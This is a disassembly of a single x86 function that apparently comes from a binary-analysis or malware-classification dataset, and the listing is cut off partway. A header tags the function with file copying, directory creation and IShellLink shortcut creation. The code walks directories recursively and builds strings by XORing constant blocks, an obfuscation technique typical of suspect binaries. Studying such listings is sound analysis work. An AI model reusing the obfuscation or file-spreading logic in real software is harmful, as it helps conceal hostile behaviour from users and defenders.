Function at 0x4845e0
Capabilities:
Copy file
Create directory
Create shortcut via ishelllink

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5541c3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x6f8
push esi
push edi
mov dword [ebp - 0x6c], edx
mov byte [ebp - 0x21], cl
mov dword [ebp - 0x28], 0
mov dword [ebp - 4], 3
mov eax, dword fs:[0x2c]
mov edx, dword [eax]
mov eax, dword [0x589910]
cmp eax, dword [edx + 4]
jg 0x485d64
cmp dword [ebx + 0x50], 0xf
lea ecx, [ebx + 0x3c]
cmova ecx, dword [ebx + 0x3c]
call fcn.004e6ca0
mov byte [ebp - 0x11], al
xor edi, edi
lea eax, [ebx + 0x3c]
mov dword [ebp - 0x2c], edi
push eax
lea eax, [ebp - 0x1a0]
push eax
call fcn.004134c0
mov ecx, dword [eax]
cmp ecx, dword [0x5898e4]
je 0x484686
lea eax, [ebx + 0x3c]
mov ecx, 0x5898e4
push eax
call fcn.00413340
mov edi, dword [eax]
mov dword [ebp - 0x2c], edi
cmp byte [ebp - 0x21], 0
je 0x484a38
mov esi, dword [ebx + 8]
cmp dword [esi], 0x1400000
jae 0x485c79
sub esp, 0x18
lea eax, [ebx + 0x24]
mov ecx, esp
mov dword [ebp - 0x30], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 6
push 0
mov byte [ebp - 4], 3
mov dl, 1
lea ecx, [ebp - 0xbc]
call fcn.004c6000
add esp, 0x1c
mov byte [ebp - 4], 7
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xbc]
sub eax, ecx
sar eax, 3
imul eax, eax, 0xaaaaaaab
mov dword [ebp - 0x18], 0
test eax, eax
je 0x484a29
xor edi, edi
mov dword [ebp - 0x1c], edi
nop dword [eax]
cmp dword [esi], 0x1400000
jae 0x484a26
sub esp, 0x18
lea eax, [edi + ecx]
mov ecx, esp
mov dword [ebp - 0x30], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 8
sub esp, 0xc
lea eax, [ebx + 0xc]
mov dword [ebp - 0x4c], esp
mov ecx, esp
push eax
call fcn.00415350
mov byte [ebp - 4], 9
mov byte [ebp - 4], 7
call fcn.00485fa0
add esp, 0x24
test al, al
jne 0x4849fa
cmp byte [ebp - 0x11], al
jne 0x484767
cmp dword [ebx + 0x50], 0xf
lea eax, [ebx + 0x3c]
push 0
cmova eax, dword [ebx + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov byte [ebp - 0x11], 1
mov esi, dword [ebp - 0xbc]
lea edx, [ebx + 0x3c]
mov dword [ebp - 0xf0], 0xdf9be3c9
add esi, edi
mov dword [ebp - 0xec], 0xf940fadb
mov eax, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xec]
mov dword [ebp - 0x270], eax
mov dword [ebp - 0x26c], ecx
mov dword [ebp - 0xe8], 0x7dbb92e6
mov dword [ebp - 0xe4], 0x14d846fe
mov eax, dword [ebp - 0xe8]
mov ecx, dword [ebp - 0xe4]
mov dword [ebp - 0x268], eax
mov dword [ebp - 0x264], ecx
mov dword [ebp - 0xa8], 0xdf9be395
mov dword [ebp - 0xa4], 0xf940fadb
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0xa4]
mov dword [ebp - 0x160], eax
mov dword [ebp - 0xf8], 0x7dbb92e6
mov dword [ebp - 0x15c], ecx
mov dword [ebp - 0xf4], 0x14d846fe
mov eax, dword [ebp - 0xf8]
mov ecx, dword [ebp - 0xf4]
movaps xmm1, xmmword [ebp - 0x270]
mov dword [ebp - 0x158], eax
lea eax, [ebp - 0x270]
mov dword [ebp - 0x154], ecx
lea ecx, [ebp - 0x3a0]
xorps xmm1, xmmword [ebp - 0x160]
push eax
movaps xmmword [ebp - 0x270], xmm1
call fcn.0041ab20
add esp, 4
mov byte [ebp - 4], 0xa
mov edx, eax
push esi
lea ecx, [ebp - 0x328]
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x3a0]
call fcn.00402df0
cmp dword [ebp - 0x314], 0xf
lea eax, [ebp - 0x328]
push 0
cmova eax, dword [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
add edi, dword [ebp - 0xbc]
mov dword [ebp - 0x78], 0xdf9be3c9
mov dword [ebp - 0x74], 0xf940fadb
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x280], eax
mov dword [ebp - 0x27c], ecx
mov dword [ebp - 0x88], 0x7dbb92e6
mov dword [ebp - 0x84], 0x14d846fe
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x278], eax
mov dword [ebp - 0x274], ecx
mov dword [ebp - 0x90], 0xdf9be395
mov dword [ebp - 0x8c], 0xf940fadb
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x98], 0x7dbb92e6
mov dword [ebp - 0x150], eax
mov dword [ebp - 0x94], 0x14d846fe
mov eax, dword [ebp - 0x98]
mov dword [ebp - 0x14c], ecx
mov ecx, dword [ebp - 0x94]
movaps xmm1, xmmword [ebp - 0x280]
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], ecx
xorps xmm1, xmmword [ebp - 0x150]
movaps xmmword [ebp - 0x280], xmm1
lea eax, [ebp - 0x280]
push eax
lea edx, [ebx + 0x24]
lea ecx, [ebp - 0x3b8]
call fcn.0041ab20
mov esi, eax
mov byte [ebp - 4], 0xd
sub esp, 0x14
lea eax, [ebp - 0x328]
mov dword [ebp - 0x20], esp
mov ecx, esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0xe
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x7c], esp
mov edx, esi
push edi
call fcn.0041ad80
mov byte [ebp - 4], 0xf
sub esp, 8
lea eax, [ebx + 0x18]
mov dword [ebp - 0x1a4], esp
mov ecx, esp
push eax
call fcn.00415350
mov byte [ebp - 4], 0x10
sub esp, 0xc
lea eax, [ebx + 0xc]
mov dword [ebp - 0x70], esp
mov ecx, esp
push eax
call fcn.00415350
mov byte [ebp - 4], 0x11
mov esi, dword [ebx + 8]
push esi
mov byte [ebp - 4], 0xd
mov edx, dword [ebp - 0x6c]
mov cl, byte [ebp - 0x21]
call fcn.004845e0
add dword [ebp - 0x2c], eax
add esp, 0x4c
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x3b8]
call fcn.00402df0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x328]
call fcn.00402df0
mov edi, dword [ebp - 0x1c]
mov eax, dword [ebp - 0xb8]
add edi, 0x18
mov ecx, dword [ebp - 0xbc]
sub eax, ecx
mov edx, dword [ebp - 0x18]
sar eax, 3
inc edx
imul eax, eax, 0xaaaaaaab
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x1c], edi
cmp edx, eax
jb 0x484700
mov edi, dword [ebp - 0x2c]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0xbc]
call fcn.004185d0
mov esi, dword [ebx + 8]
cmp dword [esi], 0x1400000
jae 0x485c79
sub esp, 0x18
lea eax, [ebx + 0x24]
mov ecx, esp
mov dword [ebp - 0x70], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x12
push 0
mov byte [ebp - 4], 3
xor dl, dl
lea ecx, [ebp - 0xc8]
call fcn.004c6000
add esp, 0x1c
mov byte [ebp - 4], 0x13
xor edx, edx
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0xc8]
sub eax, ecx
sar eax, 3
imul eax, eax, 0xaaaaaaab
mov dword [ebp - 0x7c], edx
test eax, eax
je 0x485c6a
nop word [eax + eax]
cmp dword [esi], 0x1400000
jae 0x485c67
sub esp, 0x18
lea eax, [edx + edx*2]
shl eax, 3
mov esi, esp
mov dword [ebp - 0x20], eax
xorps xmm0, xmm0
add eax, ecx
mov dword [ebp - 0x70], esp
mov dword [ebp - 0x1c], eax
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
cmp dword [eax + 0x14], 0xf
mov edi, dword [eax + 0x10]
jbe 0x484ae4
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
cmp edi, 0x7fffffff
ja 0x485de4
cmp edi, 0xf
ja 0x484b07
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], 0xf
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
jmp 0x484b56
mov eax, edi
or eax, 0xf
cmp eax, 0x7fffffff
jbe 0x484b1a
mov eax, closesocket
jmp 0x484b25
cmp eax, 0x16
mov ecx, 0x16
cmovb eax, ecx
mov dword [ebp - 0x9c], eax
lea eax, [ebp - 0x9c]
push eax
push esi
call fcn.004032d0
mov ecx, dword [ebp - 0x9c]
mov dword [esi + 0x14], ecx
lea ecx, [edi + 1]
push ecx
push dword [ebp - 0x1c]
mov dword [esi], eax
push eax
mov dword [esi + 0x10], edi
call fcn.00435270
add esp, 0x14
mov byte [ebp - 4], 0x14
sub esp, 0xc
mov esi, esp
mov dword [ebp - 0x1a4], esp
mov dword [ebp - 0x1c], esi
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
mov eax, dword [ebx + 0x10]
sub eax, dword [ebx + 0xc]
sar eax, 3
imul eax, eax, 0xaaaaaaab
test eax, eax
je 0x484c59
cmp eax, 0xaaaaaaa
ja 0x485ddf
lea edi, [eax + eax*2]
shl edi, 3
cmp edi, 0x1000
jb 0x484bd5
lea eax, [edi + 0x23]
cmp eax, edi
jbe 0x485dda
push eax
call fcn.00433672
mov ecx, eax
add esp, 4
test ecx, ecx
je 0x485de9
lea eax, [ecx + 0x23]
and eax, 0xffffffe0
mov dword [eax - 4], ecx
jmp 0x484be6
test edi, edi
je 0x484be4
push edi
call fcn.00433672
add esp, 4
jmp 0x484be6
xor eax, eax
mov dword [esi], eax
mov dword [esi + 4], eax
add eax, edi
mov dword [esi + 8], eax
mov dword [ebp - 0x19c], esi
mov byte [ebp - 4], 0x15
mov esi, dword [esi]
mov ecx, dword [ebx + 0x10]
mov edi, dword [ebx + 0xc]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x288], esi
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x28c], esi
mov dword [ebp - 0x284], eax
mov byte [ebp - 4], 0x16
cmp edi, ecx
je 0x484c3e
push edi
mov ecx, esi
call fcn.004163b0
add esi, 0x18
add edi, 0x18
mov dword [ebp - 0x288], esi
cmp edi, dword [ebp - 0x18]
jne 0x484c22
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28c], esi
mov byte [ebp - 4], 0x15
mov dword [eax + 4], esi
mov dword [ebp - 0x19c], 0
mov byte [ebp - 4], 0x14
mov byte [ebp - 4], 0x17
mov byte [ebp - 4], 0x13
call fcn.00485fa0
add esp, 0x24
test al, al
jne 0x485c3d
mov eax, dword [ebp - 0xc8]
mov edi, dword [ebp - 0x20]
add eax, edi
mov dword [ebp - 0x98], 0xdf9be3c9
mov dword [ebp - 0x94], 0xf940fadb
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x98]
mov ecx, dword [ebp - 0x94]
mov dword [ebp - 0x1d0], eax
mov dword [ebp - 0x1cc], ecx
mov dword [ebp - 0x90], 0x7dbb92e6
mov dword [ebp - 0x8c], 0x14d846fe
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 0x8c]
mov dword [ebp - 0x1c8], eax
mov dword [ebp - 0x1c4], ecx
mov dword [ebp - 0x88], 0xdf9be395
mov dword [ebp - 0x84], 0xf940fadb
mov eax, dword [ebp - 0x88]
mov ecx, dword [ebp - 0x84]
mov dword [ebp - 0x78], 0x7dbb92e6
mov dword [ebp - 0x2e0], eax
mov dword [ebp - 0x74], 0x14d846fe
mov eax, dword [ebp - 0x78]
mov dword [ebp - 0x2dc], ecx
mov ecx, dword [ebp - 0x74]
movaps xmm1, xmmword [ebp - 0x1d0]
mov dword [ebp - 0x2d8], eax
mov dword [ebp - 0x2d4], ecx
xorps xmm1, xmmword [ebp - 0x2e0]
movaps xmmword [ebp - 0x1d0], xmm1
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x1d0]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x484d45
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebx + 0x4c]
sub eax, edx
cmp eax, ecx
jb 0x485de4
cmp dword [ebx + 0x50], 0xf
lea eax, [ebx + 0x3c]
push ecx
cmova eax, dword [ebx + 0x3c]
lea ecx, [ebp - 0x1d0]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x70]
lea ecx, [ebp - 0x370]
call fcn.0041e8a0
mov esi, dword [ebp - 0x28]
lea edx, [ebp - 0x370]
or esi, 1
lea ecx, [ebp - 0x64]
mov dword [ebp - 0x28], esi
push dword [ebp - 0x20]
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0x19
and esi, 0xfffffffe
mov dword [ebp - 0x28], esi
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x370]
call fcn.00402df0
mov eax, dword [ebx + 0x1c]
sub eax, dword [ebx + 0x18]
sar eax, 3
imul eax, eax, 0xaaaaaaab
test eax, eax
je 0x484e11
sub esp, 0x18
lea eax, [ebp - 0x64]
mov ecx, esp
mov dword [ebp - 0xf4], esp
push eax
call fcn.004163b0
mov byte [ebp - 4], 0x1b
sub esp, 0xc
lea eax, [ebx + 0x18]
mov dword [ebp - 0xa4], esp
mov ecx, esp
push eax
call fcn.00415350
mov byte [ebp - 4], 0x1c
mov byte [ebp - 4], 0x1a
call fcn.00485df0
add esp, 0x24
test al, al
je 0x485bf3
add edi, dword [ebp - 0xc8]
mov dword [ebp - 0x1b0], 0xdf9be3c9
mov dword [ebp - 0x1ac], 0xf940fadb
mov eax, dword [ebp - 0x1b0]
mov ecx, dword [ebp - 0x1ac]
mov dword [ebp - 0x1e0], eax
mov dword [ebp - 0x1dc], ecx
mov dword [ebp - 0x1b8], 0x7dbb92e6
mov dword [ebp - 0x1b4], 0x14d846fe
mov eax, dword [ebp - 0x1b8]
mov ecx, dword [ebp - 0x1b4]
mov dword [ebp - 0x1d8], eax
mov dword [ebp - 0x1d4], ecx
mov dword [ebp - 0x208], 0xdf9be395
mov dword [ebp - 0x204], 0xf940fadb
mov eax, dword [ebp - 0x208]
mov ecx, dword [ebp - 0x204]
mov dword [ebp - 0x210], 0x7dbb92e6
mov dword [ebp - 0x2f0], eax
mov dword [ebp - 0x20c], 0x14d846fe
mov eax, dword [ebp - 0x210]
mov dword [ebp - 0x2ec], ecx
mov ecx, dword [ebp - 0x20c]
mov dword [ebp - 0x2e8], eax
mov dword [ebp - 0x2e4], ecx
movaps xmm1, xmmword [ebp - 0x2f0]
xorps xmm1, xmmword [ebp - 0x1e0]
movaps xmmword [ebp - 0x1e0], xmm1
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x1e0]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x484ef0
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebx + 0x34]
sub eax, edx
cmp eax, ecx
jb 0x485de4
cmp dword [ebx + 0x38], 0xf
lea eax, [ebx + 0x24]
push ecx
cmova eax, dword [ebx + 0x24]
lea ecx, [ebp - 0x1e0]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0xa4]
lea ecx, [ebp - 0x388]
call fcn.0041e8a0
mov esi, dword [ebp - 0x28]
lea edx, [ebp - 0x388]
or esi, 8
lea ecx, [ebp - 0x48]
push edi
mov dword [ebp - 0x28], esi
call fcn.0041ad80
add esp, 4
mov byte [ebp - 4], 0x1e
and esi, 0xfffffff7
mov dword [ebp - 0x28], esi
mov byte [ebp - 4], 0x1f
lea ecx, [ebp - 0x388]
call fcn.00402df0
sub esp, 0x18
lea eax, [ebp - 0x48]
mov esi, esp
mov dword [ebp - 0xe4], esp
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
cmp dword [ebp - 0x34], 0xf
mov edi, dword [ebp - 0x38]
cmova eax, dword [ebp - 0x48]
mov dword [ebp - 0x20], eax
cmp edi, 0x7fffffff
ja 0x485de4
cmp edi, 0xf
ja 0x484fb9
mov dword [esi + 0x10], edi
mov dword [esi + 0x14], 0xf
movups xmm0, xmmword [eax]
movups xmmword [esi], xmm0
jmp 0x485008
mov eax, edi
or eax, 0xf
cmp eax, 0x7fffffff
jbe 0x484fcc
mov eax, closesocket
jmp 0x484fd7
cmp eax, 0x16
mov ecx, 0x16
cmovb eax, ecx
mov dword [ebp - 0xa0], eax
lea eax, [ebp - 0xa0]
push eax
push esi
call fcn.004032d0
mov ecx, dword [ebp - 0xa0]
mov dword [esi + 0x14], ecx
lea ecx, [edi + 1]
push ecx
push dword [ebp - 0x20]
mov dword [esi], eax
push eax
mov dword [esi + 0x10], edi
call fcn.00435270
add esp, 0x14
mov byte [ebp - 4], 0x20
mov byte [ebp - 4], 0x1f
call fcn.004e7220
add esp, 0x18
mov dword [ebp - 0x18], eax
test eax, eax
je 0x485be7
cmp eax, dword [ebp - 0x6c]
ja 0x485be7
cmp byte [ebp - 0x11], 0
jne 0x48504a
cmp dword [ebx + 0x50], 0xf
lea eax, [ebx + 0x3c]
push 0
cmova eax, dword [ebx + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov byte [ebp - 0x11], 1
mov dword [ebp - 0x218], 0xb4f58fbb
lea esi, [ebp - 0x110]
mov dword [ebp - 0x214], 0xf940fadb
mov eax, dword [ebp - 0x218]
mov ecx, dword [ebp - 0x214]
mov dword [ebp - 0x10c], ecx
mov dword [ebp - 0x110], eax
mov dword [ebp - 0x220], 0x7dbb92e6
mov dword [ebp - 0x21c], 0x14d846fe
mov eax, dword [ebp - 0x220]
mov ecx, dword [ebp - 0x21c]
mov dword [ebp - 0x104], ecx
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x228], 0xdf9be395
mov dword [ebp - 0x224], 0xf940fadb
mov eax, dword [ebp - 0x228]
mov ecx, dword [ebp - 0x224]
mov dword [ebp - 0x168], 0x7dbb92e6
mov dword [ebp - 0x300], eax
mov dword [ebp - 0x2fc], ecx
mov dword [ebp - 0x164], 0x14d846fe
mov eax, dword [ebp - 0x168]
mov ecx, dword [ebp - 0x164]
movaps xmm1, xmmword [ebp - 0x110]
mov dword [ebp - 0x2f4], ecx
lea ecx, [esi + 1]
mov dword [ebp - 0x2f8], eax
xorps xmm1, xmmword [ebp - 0x300]
movaps xmmword [ebp - 0x110], xmm1
mov al, byte [esi]
inc esi
test al, al
jne 0x485118
mov edx, dword [ebp - 0x34]
lea edi, [ebp - 0x48]
cmp edx, 0xf
cmova edi, dword [ebp - 0x48]
sub esi, ecx
je 0x485ba8
cmp dword [ebp - 0x38], 0
je 0x485ba8
push 0x100
lea eax, [ebp - 0x4b8]
push 0
push eax
call fcn.004359b0
lea ecx, [ebp - 0x110]
add esp, 0xc
mov edx, ecx
mov eax, ecx
add edx, esi
cmp eax, edx
je 0x485174
movzx eax, byte [ecx]
inc ecx
mov byte [ebp + eax - 0x4b8], 1
cmp ecx, edx
jne 0x485164
mov eax, dword [ebp - 0x38]
or ecx, 0xffffffff
dec eax
cmp eax, ecx
cmovb ecx, eax
movzx eax, byte [ecx + edi]
add ecx, edi
mov al, byte [ebp + eax - 0x4b8]
test al, al
jne 0x4851a9
cmp ecx, edi
je 0x485bad
movzx eax, byte [ecx - 1]
dec ecx
mov al, byte [ebp + eax - 0x4b8]
test al, al
je 0x485191
sub ecx, edi
cmp ecx, 0xffffffff
je 0x485bad
xorps xmm0, xmm0
mov dword [ebp - 0x22c], 0
mov esi, 0xf
mov dword [ebp - 0x230], 0
movups xmmword [ebp - 0x240], xmm0
mov dword [ebp - 0x22c], esi
mov dword [ebp - 0x230], 0
mov byte [ebp - 0x240], 0
mov byte [ebp - 4], 0x21
mov dword [ebp - 0x294], 0
mov dword [ebp - 0x294], 1
movups xmmword [ebp - 0x2a4], xmm0
mov dword [ebp - 0x290], 0
mov dword [ebp - 0x290], esi
mov word [ebp - 0x2a4], 0x2f
mov byte [ebp - 4], 0x22
lea eax, [ebp - 0x2a4]
cmp dword [ebp - 0x34], esi
lea ecx, [ebp - 0x48]
mov edx, dword [ebp - 0x38]
cmova ecx, dword [ebp - 0x48]
push 1
push eax
push 0
call fcn.0041c7e0
add esp, 0xc
cmp eax, 0xffffffff
je 0x485269
push 0
lea ecx, [ebp - 0x240]
push ecx
push 1
push eax
lea ecx, [ebp - 0x48]
call fcn.00418b00
mov esi, dword [ebp - 0x22c]
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0x2a4]
call fcn.00402df0
mov byte [ebp - 4], 0x1f
cmp esi, 0xf
jbe 0x4852b2
mov edx, dword [ebp - 0x240]
lea ecx, [esi + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x4852a8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x485de9
push ecx
push edx
call fcn.004338f3
add esp, 8
lea edx, [ebp - 0x48]
mov dword [ebp - 0x230], 0
lea ecx, [ebp - 0x358]
mov dword [ebp - 0x22c], 0xf
mov byte [ebp - 0x240], 0
call fcn.004d3320
mov byte [ebp - 4], 0x24
lea eax, [ebp - 0x5c0]
push 0x104
push 0
push eax
call fcn.004359b0
add esp, 0xc
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
je 0x485311
cmp eax, 1
je 0x485311
cmp eax, 0x80010106
jne 0x4853a7
lea eax, [ebp - 0x68]
push eax
push 0x55d540
push 1
push 0
push 0x55d570
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x4853a1
mov ecx, dword [ebp - 0x68]
lea edx, [ebp - 0xb0]
push edx
push 0x55d550
push ecx
mov eax, dword [ecx]
call dword [eax]
test eax, eax
js 0x485398
mov edx, dword [ebp - 0xb0]
cmp dword [ebp - 0x344], 7
push 0
mov eax, dword [edx]
mov ecx, dword [eax + 0x14]
lea eax, [ebp - 0x358]
cmova eax, dword [ebp - 0x358]
push eax
push edx
call ecx
test eax, eax
js 0x48538c
mov ecx, dword [ebp - 0x68]
lea edx, [ebp - 0x700]
push 2
push edx
push 0x104
mov eax, dword [ecx]
lea edx, [ebp - 0x5c0]
push edx
push ecx
call dword [eax + 0xc]
mov eax, dword [ebp - 0xb0]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x68]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
call dword [sym.imp.ole32.dll_CoUninitialize]
xorps xmm0, xmm0
mov dword [ebp - 0xd0], 0
lea ecx, [ebp - 0x5c0]
mov dword [ebp - 0xcc], 0
movups xmmword [ebp - 0xe0], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4853d0
sub ecx, edx
lea eax, [ebp - 0x5c0]
push ecx
push eax
lea ecx, [ebp - 0xe0]
call fcn.00403040
or dword [ebp - 0x28], 0x20
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x358]
call fcn.004188d0
mov edi, dword [ebp - 0xd0]
test edi, edi
je 0x485b46
cmp dword [ebp - 0xcc], 0xf
lea eax, [ebp - 0xe0]
mov esi, dword [ebp - 0x34]
cmova eax, dword [ebp - 0xe0]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x20], esi
cmp edi, esi
ja 0x485450
cmp dword [ebp - 0x20], 0xf
lea esi, [ebp - 0x48]
push edi
cmova esi, dword [ebp - 0x48]
push eax
push esi
mov dword [ebp - 0x38], edi
call fcn.00435270
add esp, 0xc
mov byte [edi + esi], 0
jmp 0x4854fe
cmp edi, 0x7fffffff
ja 0x485de4
mov ecx, edi
or ecx, 0xf
cmp ecx, 0x7fffffff
jbe 0x485470
mov ecx, closesocket
jmp 0x48548e
mov edx, esi
mov eax, closesocket
shr edx, 1
sub eax, edx
cmp esi, eax
jbe 0x485486
mov ecx, closesocket
jmp 0x48548e
lea eax, [edx + esi]
cmp ecx, eax
cmovb ecx, eax
lea eax, [ebp - 0xac]
mov dword [ebp - 0xac], ecx
push eax
lea eax, [ebp - 0x48]
push eax
call fcn.004032d0
mov ecx, dword [ebp - 0xac]
push edi
push dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
push eax
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x34], ecx
call fcn.00435270
mov eax, dword [ebp - 0x1c]
add esp, 0x14
mov byte [eax + edi], 0
cmp esi, 0xf
jbe 0x4854fb
mov ecx, dword [ebp - 0x48]
inc esi
mov eax, ecx
cmp esi, 0x1000
jb 0x4854ee
mov ecx, dword [eax - 4]
add esi, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x485de9
push esi
push ecx
call fcn.004338f3
mov eax, dword [ebp - 0x1c]
add esp, 8
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0xcc], 0xf
lea eax, [ebp - 0xe0]
cmova eax, dword [ebp - 0xe0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionA]
mov esi, eax
test esi, esi
je 0x485b1e
mov edx, esi
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x485528
sub edx, ecx
cmp dword [ebp - 0x50], 0xf
push edx
mov edx, dword [ebp - 0x54]
lea ecx, [ebp - 0x64]
cmova ecx, dword [ebp - 0x64]
push esi
push 0
call fcn.0041c7e0
add esp, 0xc
xorps xmm0, xmm0
cmp eax, 0xffffffff
je 0x48585b
movups xmmword [ebp - 0x258], xmm0
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x244], 0
mov dword [ebp - 0x248], 0
mov dword [ebp - 0x244], 0xf
mov byte [ebp - 0x258], 0
mov byte [ebp - 4], 0x25
xorps xmm0, xmm0
mov dword [ebp - 0x170], 0xb4f58fbb
mov dword [ebp - 0x16c], 0xf940fadb
mov eax, dword [ebp - 0x170]
mov ecx, dword [ebp - 0x16c]
mov dword [ebp - 0x1ec], ecx
mov dword [ebp - 0x1f0], eax
mov dword [ebp - 0x178], 0x7dbb92e6
mov dword [ebp - 0x174], 0x14d846fe
mov eax, dword [ebp - 0x178]
mov ecx, dword [ebp - 0x174]
mov dword [ebp - 0x1e4], ecx
mov dword [ebp - 0x1e8], eax
mov dword [ebp - 0x180], 0xdf9be395
mov dword [ebp - 0x17c], 0xf940fadb
mov eax, dword [ebp - 0x180]
mov ecx, dword [ebp - 0x17c]
mov dword [ebp - 0x188], 0x7dbb92e6
mov dword [ebp - 0x310], eax
mov dword [ebp - 0x30c], ecx
mov dword [ebp - 0x184], 0x14d846fe
mov eax, dword [ebp - 0x188]
mov ecx, dword [ebp - 0x184]
movaps xmm1, xmmword [ebp - 0x1f0]
mov dword [ebp - 0x304], ecx
lea ecx, [ebp - 0x1f0]
mov dword [ebp - 0x308], eax
lea edx, [ecx + 1]
xorps xmm1, xmmword [ebp - 0x310]
movaps xmmword [ebp - 0x1f0], xmm1
movups xmmword [ebp - 0x128], xmm0
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x485680
sub ecx, edx
lea eax, [ebp - 0x1f0]
push ecx
push eax
lea ecx, [ebp - 0x128]
call fcn.00403040
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0x128]
cmp dword [ebp - 0x114], 0xf
lea edx, [ebp - 0x64]
mov edi, dword [ebp - 0x128]
mov esi, dword [ebp - 0x118]
cmova ecx, edi
cmp dword [ebp - 0x50], 0xf
mov eax, dword [ebp - 0x54]
cmova edx, dword [ebp - 0x64]
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x30], edx
cmp esi, eax
ja 0x4857a8
sub eax, esi
test esi, esi
jne 0x4856e8
xor edi, edi
jmp 0x485792
movsx ecx, byte [ecx]
inc eax
add eax, edx
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x1c], eax
sub eax, edx
push eax
push ecx
push edx
call fcn.004371a0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x4857a5
nop dword [eax + eax]
mov edx, dword [ebp - 0x20]
mov ecx, edi
sub esi, 4
jb 0x485731
nop word [eax + eax]
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x485736
add ecx, 4
add edx, 4
sub esi, 4
jae 0x485720
cmp esi, 0xfffffffc
je 0x485784
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x485763
cmp esi, 0xfffffffd
je 0x485784
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x485763
cmp esi, 0xfffffffe
je 0x485784
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x485763
cmp esi, 0xffffffff
je 0x485784
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x485784
mov eax, dword [ebp - 0x1c]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x4c]
push edi
call fcn.004371a0
mov esi, dword [ebp - 0x118]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x485710
jmp 0x4857a5
sub edi, dword [ebp - 0x30]
cmp edi, 0xffffffff
je 0x4857a5
mov esi, dword [ebp - 0x118]
push 0
lea eax, [ebp - 0x258]
push eax
push esi
push edi
lea ecx, [ebp - 0x64]
call fcn.00418b00
